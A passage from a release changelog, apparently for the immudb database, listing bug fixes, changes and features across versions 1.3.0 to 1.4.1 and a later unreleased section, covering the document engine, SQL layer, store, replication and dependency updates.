document reader - rename DocumentBulkInsert to DocumentInsertMany - generate proto requests for DocumentDelete api - exclude generated code from coverage - use sys/unix package - remove docker test provider - use sql statement for delete than raw query - use gosec action - add monotically increasing number to doc id generation - add document audit api - check invalid search id in search request - wait for immudb to get initialized - add DocumentDelete api - add go-acc and goveralls to ext-tools folder - copy document catalogue when truncating db - handle no more doc error inside response in search - return ErrNoMoreDocuments instead of sql.ErrNoMoreRows - replace schemav2 with protomodel in truncator test - add order by clause in search - allow multiple order by clauses - add unique search id for paginated readers - add documentReader iterator to read documents - add bulk insert api - remove initial swagger support - return sql reader on document search - Update build/RELEASING.md file - add option for non unique indexes on collection - change DocumentFindOneAndUpdate to DocumentUpdate - simplified codegen - add pagination support when fetching documents - address review comment - update document with id if not nil - pass transaction to upsert function - add DocumentFindOneAndUpdate api - add default size for document reader lru cache - add lru cache for paginated readers - Add reformatting of protobuf file on build/codegen - fix merge issues - fix failing verification test - increase test coverage for document engine - change DeleteTableStmt to DropTableStmt - fix tests - fix TestFloatSupport test case - add test case for uncommitted tx not increasing table count - add updatecollection api - check for column before adding index on collection update - delete columns on table deletion - **ci:** improve notifications - **cmd/immuadmin:** flag to specify the usage of embedded values - **cmd/immuadmin:** modify truncation settings schema - **cmd/immuadmin:** add truncate cmd to immuadmin - **deps:** bump github.com/rs/xid from 1.3.0 to 1.5.0 - **deps:** bump securego/gosec from 2.14.0 to 2.15.0 - **deps:** bump github.com/golang/protobuf from 1.5.2 to 1.5.3 - **deps:** bump github.com/influxdata/influxdb-client-go/v2 - **deps:** bump github.com/spf13/viper from 1.12.0 to 1.15.0 - **deps:** bump golang.org/x/net from 0.8.0 to 0.9.0 - **deps:** bump golang.org/x/crypto - **deps:** bump github.com/grpc-ecosystem/grpc-gateway/v2 - **deps:** bump aws-actions/configure-aws-credentials from 1 to 2 - **deps:** bump github.com/spf13/cobra from 1.2.1 to 1.6.1 - **deps:** bump github.com/rogpeppe/go-internal from 1.8.0 to 1.9.0 - **deps:** bump github.com/codenotary/immudb - **deps:** bump google.golang.org/grpc from 1.46.2 to 1.54.0 - **deps:** bump github.com/stretchr/testify from 1.8.0 to 1.8.2 - **deps:** bump github.com/jaswdr/faker from 1.4.3 to 1.16.0 - **deps:** bump github.com/lib/pq from 1.10.7 to 1.10.9 - **deps:** bump github.com/lib/pq from 1.10.2 to 1.10.7 - **embedded/ahtree:** add inline comments - **embedded/appendable:** use fdatasync when file is preallocated - **embedded/appendable:** file syncing per os - **embedded/appendable:** support file preallocation - **embedded/appendable:** file syncing using fdatasync when available - **embedded/appendable:** fsync freebsd - **embedded/appendable:** minor improvements reading files - **embedded/appendable:** automatic file creation only when appending - **embedded/appendable:** metadats with putBool - **embedded/document:** move source code into dedicated files - **embedded/document:** add test cases for collection on doc engine - **embedded/document:** transactional collection update - **embedded/document:** improve error handling - **embedded/document:** retrieval of raw document - **embedded/document:** typo in error message - **embedded/document:** raw document validation - **embedded/document:** transactional collection and document creation - **embedded/document:** use onclose callback to close the tx - **embedded/document:** return struct when auditing document history - **embedded/document:** add test to ensure key ordering in document during serialization - **embedded/document:** blob type not yet supported - **embedded/document:** catch key alredy exists error - **embedded/document:** catch tx read conflict error - **embedded/document:** translate table already exists error - **embedded/document:** minor var renaming - **embedded/document:** minor code adjustments - **embedded/document:** transactional document creation - **embedded/document:** use query limit when searching - **embedded/document:** add collection deletion api support - **embedded/document:** wip continue with improvements - **embedded/document:** wip continue with improvements - **embedded/document:** wip continue with improvements - **embedded/document:** wip improvements - **embedded/document:** add float support for doc engine - **embedded/document:** binary serialization of doc payload - **embedded/document:** remove dead-code - **embedded/document:** avoid public dependency on sql - **embedded/document:** change querier from BinBoolExp to CmpBoolExp - **embedded/document:** support null values in indexed attributes - **embedded/document:** add variable length support for multiple types - **embedded/document:** possibility to specify desc order when querying document history - **embedded/document:** add tests for blob type - **embedded/document:** improve error messages - **embedded/document:** improve error messages - **embedded/document:** ensure order by clauses are used when deleting and updating - **embedded/document:** minor code simplification - **embedded/document:** fix query stmt generator and add tests - **embedded/document:** leverage sqlengine lazy index contraint evaluation - **embedded/document:** add document id generation - **embedded/htree:** allow creation of empty hash trees - **embedded/object:** add document abstraction - **embedded/object:** add collection/database statements - **embedded/sql:** make sql engine generic for object store - **embedded/sql:** ddl stmts register catalog mutation - **embedded/sql:** implicit conversion from varchar to int and float types - **embedded/sql:** lazy index contraint validation - **embedded/sql:** validate total key length at index creation time - **embedded/sql:** extend max key length to 512 - **embedded/sql:** limit and offset boundary validation - **embedded/sql:** minor numeric type adjustments - **embedded/sql:** implicit conversion support in limit and offset clauses - **embedded/sql:** WIP singledb sql engine - **embedded/sql:** simplified sql tx - **embedded/sql:** cancellable row reader - **embedded/sql:** transient context - **embedded/sql:** use read-only txs whenever possible - **embedded/sql:** return closed sql txs - **embedded/sql:** snapshot reuse improvements - **embedded/sql:** upgraded row reader - **embedded/store:** minor changes after rebasing from master - **embedded/store:** multi-tx unsafe mvcc - **embedded/store:** multi-tx bulk indexing - **embedded/store:** set tx as closed upon cancellation - **embedded/store:** simplified indexer initialization - **embedded/store:** set smaller default value for indexing bulk size - **embedded/store:** inline comments - **embedded/store:** contextualized transactions - **embedded/store:** propagate context usage - **embedded/store:** set ctx as first argument - **embedded/store:** set ctx as first argument - **embedded/store:** multi-timed bulk insertions - **embedded/store:** tx header is returned when fully committed - **embedded/store:** simplified dualproof implementation - **embedded/store:** transient context - **embedded/store:** added more in-line comments - **embedded/store:** context propagation - **embedded/store:** mvcc validations - **embedded/store:** addition of a cache for values - **embedded/store:** add min limit for truncation frequency - **embedded/store:** safe key copy for mvcc validation - **embedded/store:** add min limit for truncation frequency - **embedded/store:** wip mvcc validations - **embedded/store:** add hashValue as fixed 32 byte size - **embedded/store:** fix rebase issue with readValueAt for vlogcache - **embedded/store:** fix default vlog cache size and add validation for hash when reading from cache - **embedded/store:** add test for TxOptions - **embedded/store:** optional integrity checking - **embedded/store:** embedded meta attribute required if version is greater than 1 - **embedded/store:** optional integrity checking when reading values - **embedded/store:** api upgrade - **embedded/store:** set embedded values mode as default one - **embedded/store:** backward compatible embedded value mode - **embedded/store:** skipIntegrityCheck parameter when reading data - **embedded/store:** preallocate tx header log files - **embedded/store:** support preallocated files when reading tx data - **embedded/store:** wip preallocated clog - **embedded/store:** option to prealloc files - **embedded/store:** improve log messages when discarding precommitted transactions - **embedded/store:** validate Eh only when integrity checks are not disabled - **embedded/store:** consume all tx content even if integrity checks are disabled - **embedded/store:** optional integrity checking when reading values - **embedded/store:** clog file size adjustment only when preallocation is disabled - **embedded/store:** handle eof when reading last committed tx - **embedded/store:** validate Eh only when integrity checks are not disabled - **embedded/store:** wip mvcc validations - **embedded/store:** wip mvcc validations - **embedded/store:** make truncation validation tolerate entryless txs - **embedded/store:** allow tx without entries as long as it contains metadata - **embedded/store:** update ReadBetween - **embedded/store:** unify Read and ReadBetween - **embedded/store:** use syncSnapshot to validate ongoing txs - **embedded/store:** file preallocation not enabled by default - **embedded/store:** further in-line documentation - **embedded/store:** snapshot reuse improvements - **embedded/store:** mvcc validation only if another tx was processed - **embedded/store:** inline comments - **embedded/store:** readValueAt and exportTx improvements - **embedded/store:** minor code improvement - **embedded/store:** fix typo in inline comment - **embedded/store:** add in-line documentation for store options - **embedded/store:** validate gets using filters - **embedded/store:** MVCC read-set with boundaries - **embedded/tbtree:** initialize tbtree with a non-mutated leaf - **embedded/tbtree:** rollback not needed as updates are made in a copy - **embedded/tbtree:** variable renaming after rebasing - **embedded/tbtree:** add in-line documentation - **embedded/tbtree:** parametrize snapshot creation specs - **embedded/tbtree:** optimize snapshot renewal - **embedded/tbtree:** getWithPrefix - **embedded/tbtree:** add in-line comments - **embedded/tbtree:** wip optimized insertion - **embedded/tbtree:** optimized bulk insertion - **embedded/tbtree:** wip reduce allocs while updating inner node - **embedded/tbtree:** in-line documentation - **embedded/tbtree:** minor code improvements - **embedded/tbtree:** remove unnecessary kv sorting - **embedded/tools:** upgrade embedded tools with transient context - **embedded/watchers:** set ctx as first arg - **embedded/watchers:** return context error upon cancellation - **embedded/watchers:** use context instead of cancellation channel - **package/database:** bunch of fixes and improvements in document engine - **pkg:** add more tests admin truncate command - **pkg/api:** remove generated httpclient - **pkg/api:** use of path parameters for document-related endpoints - **pkg/api:** search api improvements - **pkg/api:** remove bool from tx metadata conversion - **pkg/api:** swagger gen - **pkg/api:** snapshot reuse attributes - **pkg/api:** expose new store indexing options - **pkg/api:** document api improvements - **pkg/api:** revised document and authentication apis - **pkg/api:** remove unsupported attribute from response messages - **pkg/api:** manual adjustments post-code generation - **pkg/api:** re-generated httpclient with DeleteDocument endpoint - **pkg/api:** return txID when inserting or updating documents - **pkg/api:** cleaner session id header - **pkg/api:** document api improvements - **pkg/api:** document update with path parameter - **pkg/api:** rename idFieldName to documentIdFieldName - **pkg/api:** expose MVCC read-set settings - **pkg/api:** endpoint renaming - **pkg/api:** expose replication settings for skipping integrity checks and indexing - **pkg/api:** expose db setting to enable file preallocation - **pkg/api:** add tx metadata conversion - **pkg/api:** expose embeddedValue database setting - **pkg/api:** authorization in swagger spec - **pkg/api:** re-generated httpclient - **pkg/api:** singular document path for audit and proof endpoints - **pkg/api:** revert changes in swagger spec - **pkg/api:** value cache settings exposed - **pkg/api:** annotate primitive types as required - **pkg/api:** buch of implementation improvements - **pkg/api:** minor proof request renaming - **pkg/api:** re-generated httpclient - **pkg/api:** use ErrrIs/ErrorContains in error checks - **pkg/api:** annotated required message fields - **pkg/api:** expose support for unsafe mvcc transactions - **pkg/api:** change retention period in TruncateDatabase message to int64 - **pkg/api:** annotate required fields - **pkg/auth:** add document update permissions - **pkg/client:** move heartbeater.go to pkg/client - **pkg/client:** minor renaming in tx options - **pkg/client/cache:** improve test coverage - **pkg/database:** add object store - **pkg/database:** add search document api implementation for object store - **pkg/database:** create txs with default options - **pkg/database:** implement GetCollection API - **pkg/database:** change objectEngine to documentEngine - **pkg/database:** add mvcc test for truncation, parse retention period using duration - **pkg/database:** add more tests for truncation - **pkg/database:** remove search through first query - **pkg/database:** upgraded reader specs - **pkg/database:** hard limit on page size - **pkg/database:** fix truncation deletion point checks in test - **pkg/database:** minor code aligments - **pkg/database:** add document store db initialisation - **pkg/database:** updated APIs with schema updates - **pkg/database:** add document engine abstraction - **pkg/database:** context propagation - **pkg/database:** add and implement object db interface - **pkg/database:** snapshot reuse changes - **pkg/database:** create document/collection from schemav2 requests - **pkg/database:** upgrade after rebasing - **pkg/database:** use _obj to hold raw document payload - **pkg/database:** context propagation from server to embedded layer - **pkg/database:** remove object store db initialisation - **pkg/database:** proper calculation of source tx - **pkg/database:** document verfication - **pkg/database:** add DocumentUpdate api - **pkg/database:** check encoded value is consistent with raw document - **pkg/database:** add query parser for object to generate sql expression - **pkg/database:** add document query struct to abstract request query - **pkg/database:** minor document renaming - **pkg/integration:** exportTx benchmarking - **pkg/replication:** replicator using bidirectional streaming - **pkg/replication:** wip stream replication - only async replication working - **pkg/replication:** skip integrity check when exporting transactions - **pkg/replication:** context propagation - **pkg/replication:** improve options validation - **pkg/server:** upgrades after rebasing from master - **pkg/server:** integrate document functions with server apis - **pkg/server:** context propagation from grpc api to embedded package - **pkg/server:** multi-grpc request context propagation - **pkg/server:** minor code reuse - **pkg/server:** add pagination test for document search - **pkg/server:** add test successful load/unload of db with truncator - **pkg/server:** log error when closing document reader - **pkg/server:** ensure document reader is closed when swithing pages - **pkg/server:** support snapshot reuse - **pkg/server:** upgrade to new insecure credentials api - **pkg/server:** close all paginated readers on close of session - **pkg/server:** added inline comments - **pkg/server:** set default replication settings - **pkg/store:** skipIntegrityChecks parameter when reading data - **pkg/stream:** handle eof when sending data - **pkg/truncator:** return error if expiration time hasn't been met - **pkg/truncator:** add context to Truncate method - **pkg/truncator:** refactor truncator process - **pkg/verfication:** document verification methods - **pkg/verification:** strengthen proof validations - **pkg/verification:** use proto serialization - **pkg/verification:** minor renaming - **pkg/verification:** document verification using embedded identifier - **test/objects:** add tests to create collections - **test/objects:** add more tests to create collection - **test/objects:** use httpexpect - **test/perf:** fix version value for flag - **test/perf:** add immudb version to influxdb data - **test/perf:** add runner to results for influxdb - **test/perf-tests:** remove runner check - **test/perf-tests:** use proxy on benchmark runner - **test/performance:** call cleanup method - **test/performance-test-suite:** send results to influxdb - **test/performance-test-suite:** add influxdb host and toke arguments - **test/performance-test-suite:** add sync benchmarks - **test/performance-test-suite:** extract json from results - **test/performance-test-suite:** fix replica directory path - **test/performance-test-suite:** use temp folders for primary, replicas and clients - **test/performance-test-suite:** replicas are able to communicate with primary - **test/performance-test-suite:** changed server concrete implementation - **truncator:** add more coverage for truncator ### Features - add vlog truncation functionality - **ci:** change notification - **embedded/document:** count documents - **embedded/object:** add object store to embedded pkg - **embedded/sql:** limit and offset as expressions - **embedded/sql:** wip unsafe and optimized mvcc - **embedded/sql:** sql transaction creation with options - **embedded/sql:** short casting syntax - **embedded/sql:** implicit type conversion of numeric types - **embedded/sql:** Initial float support - **embedded/store:** unsafe mvcc mode - **embedded/store:** embeddable values - **embedded/store:** read-only transactions - **embedded/store:** embedded values option - **embedded/store:** tx creation with options - **embedded/store:** expose GetWithPrefixAndFilters - **embedded/store:** GetWithPrefixAndFilters - **embedded/tbtree:** multi-timed bulk insertions - **pkg/api:** keepOpen parameter to instruct server to maintain a document reader in memory - **pkg/api:** improved replace documents endpoint - **pkg/api:** count documents endpoint - **pkg/api:** document proof endpoint - **pkg/client:** optional tx options are now available during the creation process ## [v1.4.1] - 2022-11-21 ### Changes - **pkg/server:** Add logs for activities related to users ## [v1.4.1-RC1] - 2022-11-16 ### Bug Fixes - Change replication-related terms in tests - Change replication-related terms in codebase - **cmd:** Rename replication flags to follow consistent convention - **cmd/immudb:** Fix description of the `force-admin-password` flag - **cmd/immudb:** Better description of the `--force-admin-password` flag - **embedded/appendable:** fsync parent directory - **embedded/appendable:** fsync parent folder in remote appedable - **pkg:** Rename replication-related fields in GRPC protocol - **pkg/client:** Delay server identity validation - **pkg/client/cache:** Add methods to validate server identity - **pkg/client/cache:** Validate server's identity - **pkg/server:** Remove includeDeactivated flag when querying for users - **pkg/server/servertest:** Fix resetting grpc connection - **pkg/server/servertest:** Add uuid to buffconn server - **test/perf-test-suite:** Avoid dumping immudb logo on perf test results file - **test/performance-test-suite:** Ensure results are shown after proper is finished - **verification:** Additional Linear proof consistency check - **verification:** Recreate linear advance proofs for older servers ### Changes - **ci:** migrate deprecating set-output commands - **cmd/immudb:** Allow resetting sysadmin password - **docs/security:** Add resources for the linear-fake vulnerability - **docs/security:** Be less specific about package version in examples - **embedded/appendable:** sync directories - **embedded/store:** Remove AHT Wait Hub - **embedded/store:** Disable asynchronous AHT generation - **pkg/client:** Document `WithDisableIdentityCheck` option - **pkg/client/cache:** Limit the hash part of the identity file name - **pkg/client/cache:** Describe serverIdentity parameter - **pkg/client/state:** Cleanup mutex handling in StateService - **pkg/server:** Warn if sysadmin user password was not reset - **pkg/server:** Better warning for unchanged admin password - **test/performance-test-suite:** Add summary to json output ### Features - **ci:** fix message and input - **ci:** add runner name to mattermost message header - **ci:** simplify results extraction - **ci:** extract performance tests into separate workflow to be reused - **ci:** add scheduled daily test runs and send results to Mattermost - **pkg/replication:** Disable server's identity check in internal replication ## [v1.4.0] - 2022-10-12 ### Bug Fixes - **build:** Do not publish official non-dev images on RC tags - **pkg/client:** replace keepAlive context from the original one to the background, avoiding parent expiration ### Changes - Rename sync-followers to sync-acks - **cmd/immuclient:** include precommit state when quering status - **pkg/server:** Better error message when validating replication options ## [v1.4.0-RC2] - 2022-10-10 ### Bug Fixes - **build:** Use correct binary download links - **embedded/store:** edge-case calculation of precommitted tx - **embedded/watchers:** Fix invariant breakage in watchers - **embedded/watchers:** Fix invariant breakage in watchers - **pkg/database:** any follower can do progress due to its prefech buffer - **pkg/replication:** Do not crash on invalid tx metadata - **pkg/replication:** handle replication already closed case - **pkg/replication:** discard precommitted txs and continue from latest committed one - **pkg/replication:** solve issues when follower diverged from master - **wmbedded/watchers:** Correctly fix the original implementation ### Changes - **embedded/watchers:** Simplify and document cancellation path - **embedded/watchers:** Simplify mutex locking code - **embedded/watchers:** single-point for init and cleanup - **pkg/database:** simplify follower's wait - **pkg/database:** wait for tx when a non-existent or non-ready transaction is requested - **pkg/database:** add TODO comment on replication passive waiting - **pkg/replication:** Add TX gap metrics - **pkg/replication:** Add basic replication metrics - **pkg/replication:** improve replication logging ## [v1.4.0-RC1] - 2022-10-04 ### Bug Fixes - **Makefile:** add fips build flag to test/fips - **Makefile:** remove interactive flag from dist/fips command - **ci:** fix regex pattern for fips binaries - **cmd/immuadmin:** set correct data-type for replication-sync-followers flag - **embedded/store:** Fix checking for closed store when syncing TXs - **embedded/store:** avoid attempts to commit in wrong order - **embedded/store:** expose durable precommitted state - **embedded/store:** include allowPrecommitted into tx reader construction - **embedded/store:** ensure tx is released upon error - **embedded/store:** aht up to precommited tx - **embedded/store:** fix size calculation of precommitted txs - **github:** Update github actions after migration of Dockerfile's - **pkg/database:** Fix mutex lock in ExportTx - **pkg/database:** return master commit state if failing to read follower precommitted one - **pkg/database:** set follower states holder when changing replication status - **pkg/server:** add logs when replicator does not start ### Changes - add dependabot config - Add empty line between license header and package - **Dockerfile.fips:** add fips build changes - **cmd/immuadmin:** use default immudb port as default value for replication-master-port flag - **cmd/immuadmin:** revert default replication-master-port - **cmd/immuadmin:** add new replication flags - **cmd/immuclient:** flag replication-sync-enabled to enable sync replication - **cmd/immudb:** deprecate replication-enabled towards replication-is-replica - **docker:** Move main Dockerfile's to build folder - **docker:** Simplify the main Dockerfile - **embedded/store:** waits for durable precommitted txs - **embedded/store:** wip wait for precommitted txs - **embedded/store:** mutexless export-tx - **embedded/store:** method to dynamically switch to external allowance - **embedded/store:** wip reduce allocations in exportTx - **embedded/store:** enhanced tx discarding logic - **embedded/store:** resolve pre-committed using clogbuf - **embedded/store:** wip load precommitted txs - **embedded/store:** minor code simplification - **embedded/store:** handle commit case when there is nothing new to commit - **embedded/store:** support for concurrent replicated precommits - **embedded/store:** tx parsing with sanity checks - **embedded/store:** add integrity checks when reading precommitted txs - **embedded/store:** tolerate partial data or inconsistencies when loading pre-committed txs - **embedded/store:** explanatory comments added - **embedded/store:** explicit allowPrecommitted and restricted access to precommitted txs - **embedded/store:** minor renaming and comment additions - **embedded/store:** possibility to read tx header of precommitted txs - **pkg/api:** explicit sync replication setting - **pkg/api:** currentState endpoint includes precommitted info - **pkg/api/schema:** reformat schema.proto file - **pkg/database:** improve error comparison - **pkg/database:** handle special case related to sql initialization - **pkg/database:** follower commit progress without additional waits - **pkg/database:** sync exportTx - **pkg/database:** minor typo in comment - **pkg/database:** disable automatic sql init on older databases - **pkg/integration:** add synchronous replication integration tests - **pkg/replication:** improve error comparison - **pkg/replication:** handling a particular case in an optimized manner - **pkg/replication:** speed up follower reconnection - **pkg/replication:** replicator with backward compatibility mode - **pkg/replication:** check committedTxID from master - **pkg/replication:** graceful closing - **pkg/replication:** use session-based authentication - **pkg/replication:** handle case when follower precommit state is up-to-date but commit state is lies behind - **pkg/replication:** sync replication using follower state - **pkg/replication:** allowPreCommitted only with sync replication enabled - **pkg/replication:** wip optimize concurrency in replicators - **pkg/replication:** configurable prefetchTxBufferSize and replicationCommitConcurrency - **pkg/replication:** further progress in sync replication - **pkg/replication:** backward compatible replication - **pkg/replicator:** wip precommitted tx discarding when follower diverged from master - **pkg/server:** use replication settings - **pkg/server:** include sync replication settings in options - **pkg/server:** explicit sync replication - **pkg/server:** support for systemdb with session-based auth - **pkg/server:** display all replication settings - **pkg/server:** handle admin user creation with sync replication enabled ### Features - **cmd/immuadmin:** flag to set the number of sync followers - **cmd/immudb:** flag to set the number of sync followers for systemdb and defaultdb - **embedded/store:** functionality to discard precommitted txs - **embedded/store:** core support for sync replication - **pkg/api:** api extensions to support sync replication - **pkg/database:** wip sync replication logic - **pkg/replication:** mode to allow tx discarding on followers - **pkg/replication:** wip replicator with support for sync replication - **pkg/server:** sync replication logic - **pkg/server:** Add ability to inject custom database management object ## [v1.3.2] - 2022-08-25 ## [v1.3.2-RC1] - 2022-08-24 ### Bug Fixes - company name in webconsole and other files - access tls value in global scope within ingress annotations - **build:** update go version to 1.18 in Dockerfiles - **build:** Fix go-acc and goveralls invocations - **build/RELEASING.md:** Add note about updating playground - **embedded:** use tmp folder for unit test cases - **embedded/sql:** Support single `BEGIN` statement. - **embedded/store:** Reduce the amount of allocations for tx object - **embedded/store:** Return correct error on key length exceeded - **embedded/store:** Ensure ordering of transaction timestamps - **embedded/store:** Assign blTxID within locked tx state - **embedded/store:** Optionally preallocate Tx pools - **embedded/store:** Improved check for replicated transaction - **embedded/store:** Protect against simultaneous replicators - **embedded/store:** Check precommitted state when replicating - **embedded/store:** ensure tx is released upon error - **embedded/tools/stress_tool:** Fix compilation after recent update to tx holder pool - **getRandomTable:** increase RNG range for table generation - **github:** Remove unnecessary `/test/` path when uploading perf results to s3 - **github:** Do not use yaml anchors in github workflows - **pkg/client:** Invalid client state after connection refused - **pkg/client/clienttest:** enforce mock client to interface - **pkg/database:** Fix calculation of proof for VerifiableTxByID - **pkg/database:** Correct revision for Scan requirests - **server:** Show info text with a logger - **servertest:** Allow accessing Server object before starting the server - **stdlib/rows:** add colums to row response - **test/performance:** Cleanup test directory ### Changes - deprecate ImmuClient.HealthCheck in favour of ServerInfo. - ignore schema_grpc.pb.go in code coverage. - regenerate with correct version of protoc-gen-go. - update build constraint to new & future-proof syntax. - format tools.go. - pin google.golang.org/protobuf to v1.27.1 (currently used version for generated code). - reimplement ImmuClient.HealthCheck using rpc ServerInfo instead of (deprecated) Health. - pin github.com/pseudomuto/protoc-gen-doc to 1.4.1 (currently used version for generated code). - ignore schema_grpc.pb.go in coveralls. - refactor TestServerInfo. - makefile formatting. - update github.com/spf13/viper to v1.12.0. - generate gRPC stubs. - use go.mod version of github.com/grpc-ecosystem/grpc-gateway when building codegen. - Update main go versin to 1.18 - Introduce separate TxHolder pools - **Makefile:** Update webconsole to 1.0.16 - **build:** Update RELEASING.md doc - **build:** Improve generation of build checksums - **cmd/immuadmin:** Add support for max-commit-concurrency option - **cmd/immuadmin:** Add support for read-tx-pool-size option - **cmd/immudb:** Add support for max-sessions command line option - **database/sql:** Delay txholder allocation on VerifiableSQLGet - **embedded/ahtree:** flushless append - **embedded/ahtree:** threshold-based sync - **embedded/ahtree:** improve error handling - **embedded/ahtree:** use bigger default write buffer size - **embedded/ahtree:** improve error message consistency - **embedded/ahtree:** support newst appendable implementation - **embedded/ahtree:** improve validations and error handling - **embedded/ahtree:** minor error message change - **embedded/appendable:** auto-sync options - **embedded/appendable:** improve explanatory comment inside sync method - **embedded/appendable:** autosync when write buffer is full - **embedded/appendable:** return io.EOF when offset is out of range - **embedded/appendable:** multi-appendable shared write buffer - **embedded/appendable:** autosync support in multi-appendable - **embedded/appendable:** upgrade mocked and remote appendable based on new flushing assumptions - **embedded/appendable:** inmem buffer offset - **embedded/appendable:** flush when no more writes are done in appendable - **embedded/appendable:** improve singleapp validation and error handling - **embedded/appendable:** improve validations and error handling - **embedded/appendable:** error tolerant seek - **embedded/appendable:** wip remoteapp validation - **embedded/htree:** improve error handling - **embedded/sql:** Remove unnecessary tx holder buffer from SQLTx - **embedded/store:** Add dedicated error for tx pool exhaustion - **embedded/store:** Add txPoolOptions to setup pool parameters upon creation - **embedded/store:** wip error declaration - **embedded/store:** sync AHT before tx commit log - **embedded/store:** in-mem clog buffer written when synced - **embedded/store:** wrap internal already closed errors - **embedded/store:** handle appendable already close error - **embedded/store:** improve error comparison with errors.Is(...) - **embedded/store:** multi-tx syncs - **embedded/store:** Better errors returned during replication error - **embedded/store:** Do not write values if concurrency limit is reached - **embedded/store:** Use dedicated error for replication conflicts - **embedded/store:** avoid sync waiting if there are no new transactions - **embedded/store:** add TODO comment - **embedded/store:** Add explicit ReadTxEntry method - **embedded/store:** aht options - **embedded/store:** set new default write buffer values - **embedded/store:** use smaller default buffer size - **embedded/store:** flush-less precommit - **embedded/store:** wip retryable sync - **embedded/store:** parametrize write buffer size - **embedded/store:** Add explicit ReadTxHeader - **embedded/store:** Optimize ReadTxEntry method - **embedded/store:** Optimize ReadTxHeader method - **embedded/store:** Add txDataReader to process transaction data - **embedded/store/txpool:** Make txPoolOptions members private - **embedded/store/txpool:** Allocate pool entries separately - **embedded/tbtree:** use non-retryable sync - **embedded/tbtree:** improve error handling - **embedded/tbtree:** define using generic errors towards errors.Is(...) usage - **embedded/watchers:** improve error handling - **github:** Upload perf results to AWS s3 - **github:** Allow using multiple runners for perf test suite - **github:** Run perf test suite on pull requests - **github:** Run performance test suite on push to master - **github:** Add simple documentation of `PERF_TEST_xxx` secrets - **github:** Install qemu using docker/setup-qemu-action - **github:** Allow selection of runner to run perf test - **github:** Update ACTIONS_SECRETS.md file - **pkg/api:** export syncFrequency database parameter - **pkg/api:** milliseconds message type - **pkg/api:** deprecate rpc Health in favour of ServerInfo. - **pkg/api:** Add tx pool size to GRPC and stored db options - **pkg/api:** expose aht settings - **pkg/database:** Add tx pool size to db options - **pkg/database:** allocate tx buffer before doing verified writes - **pkg/database:** Remove txHolder from get operation - **pkg/database:** Do not allocate txholder for history scans - **pkg/logger:** Add memory logger - **pkg/logger:** add json logger - **pkg/server:** Add pprof option - **pkg/server:** simplify ImmuServer.Health. - **test/performance:** Add separate `Write KV/s` test. - **test/performance:** Allow customized name for the benchmark - **test/performance:** Move test seed out of configuration - **test/performance:** Correctly close random data generator - **test/performance:** Split benchmark list and run code - **test/performance:** Add basic flags to the benchmark process - **test/performance:** Move random generator and key tracker to common coode - **test/performance:** Add CPU time / memory stats gathering - **test/performance:** Better logging and output - **test/performance:** Add basic IO stats - **test/performance:** Improve live IO display ### Features - revert usages of ServerInfo that would break backwards compatibility. - add test for HealthCheck. - **cmd/immuadmin:** expose syncFrequency and WriteBufferSize db parameters - **cmd/immuclient:** add info command to immuclient. - **pkg/api:** expose write buffer parameter - **pkg/api:** improve documentation of ServerInfo. - **pkg/api:** remove ServerInfoResponse.status field. - **pkg/api:** add ServerInfo rpc to deprecate Health. - **pkg/client:** revert WaitForHealthCheck change to maintain backwards-compatibility. - **pkg/client:** implement ImmuClient.ServerInfo. - **pkg/server:** implement ImmuServer.ServerInfo. ## [v1.3.1] - 2022-06-30 ### Bug Fixes - **embedded/store:** filter evaluation after valRef resolution ### Changes - **embedded/store:** offset handling at keyreader ### Features - **embedded/sql:** offset clause - **embedded/store:** offset in key scanning - **pkg/api:** offset attribute in scan and zscan endpoints ## [v1.3.1-RC1] - 2022-06-30 ### Bug Fixes - **README:** Update readme to show examples for 1.3.0 version - **cmd/immuadmin:** use StreamChunkSize as max chunk size during tx replication - **cmd/immudb:** include metrics endpoint related flags - **embedded/remotestorage:** Fix invalid comment - **embedded/remotestorage/s3:** Fix s3 object name validation - **embedded/remotestorage/s3:** Correctly url decode entry names - **embedded/remotestorage/s3:** Simplify the code for scan - **embedded/remotestorage/s3:** Avoid using HEAD requests - **embedded/sql:** Use defer to cleanup unclosed readers on error - **embedded/sql:** Fix snapshot leak on query initialization failure - **embedded/sql:** Fix reader leaks during initialization failures - **embedded/sql:** Properly close readers in joint row reader - **embedded/sql:** Fix snapshot leaks in union readers - **embedded/sql:** ensure timestamp is evaluated with microsecond precision - **pkg/client:** ensure connection is closed and session can be re-established - **pkg/database:** Do not panic if incorrect number of pk values is given to VerifiableSQLGet - **pkg/server:** Fix remote storage test after recent changes - **pkg/server/sessions:** Correctly start session guard - **pkg/server/sessions:** Avoid deadlock when closing session manager - **pkg/server/sessions:** Session manager test fixes - **pkg/server/sessions:** Use strong random source for session ID - **pkg/server/sessions:** Handle short buffer read when generating session id ### Changes - Update dependencies - **build:** Update RELEASING.md file - **embedded/remotestorage:** More detailed errors - **embedded/remotestorage:** Improve error reporting - **embedded/remotestorage:** Improve testing of remotestorage - **embedded/remotestorage/s3:** Improved s3 object name checks - **embedded/sql:** fixed-timed tx - **embedded/sql:** Do not return error from conditional and limit readers - **github:** Update minimal supported go version to 1.15 - **github:** Run tests with minio service - **github:** On macOS run client only test on pull requests - **github:** Update push action - **github:** Run coverage tests with minio enabled - **pkg/client:** Better detection of tests that require external immudb - **pkg/server:** Add missing copyright headers - **pkg/server/session:** Move options normalization into options struct - **pkg/server/sessions:** Simplify session handling code - **pkg/server/sessions:** Add MaxSessions option - **pkg/server/sessions:** Improve options handling - **remotestorage:** Add prometheus metrics for remote storage kind - **tools:** Remove old stream tool ## [v1.3.0] - 2022-05-23 ### Bug Fixes - **embedded/sql:** return invalid value when using aggregated col selector in temporal queries - **pkg/client:** enhance client-side validations in verified methods ## [v1.3.0-RC1] - 2022-05-20 ### Bug Fixes - **cmd/immuclient:** Do not crash on login prompt - **embedded/sql:** selector resolution using valuesRowReader - **embedded/sql:** continue stmt execution on handler after changing db in use - **embedded/sql:** increase auto_increment pk once per row - **embedded/sql:** typo in error message - **embedded/sql:** adjust named parameter parsing - **github:** Run sonarcloud code analysis after cove coverate - **pkg/database:** avoid silent returns when the scan limit is reached - **pkg/database:** Fix detection of incorrect revision numbers - **pkg/database:** Correctly interpret negative revision for getAt ### Changes - **Dockerfile:** Add EXPOSE 5432 and IMMUDB_PGSQL_SERVER to all immudb images - **README.md:** Switch to github badge - **build:** Update the RELEASING.md documentation - **cmd/immuclient:** Move history command to a separate file - **cmd/immuclient:** Remove unnecessary sleep for set commands - **cmd/immuclient:** Extract separate immuclient options - **embedded/sql:** functional-style catalog queries - **embedded/sql:** unit testing db selection - **embedded/sql:** not showing unexistent db name as part of error message - **embedded/sql:** fully non-transactional db creation and selection - **embedded/sql:** wip grammar 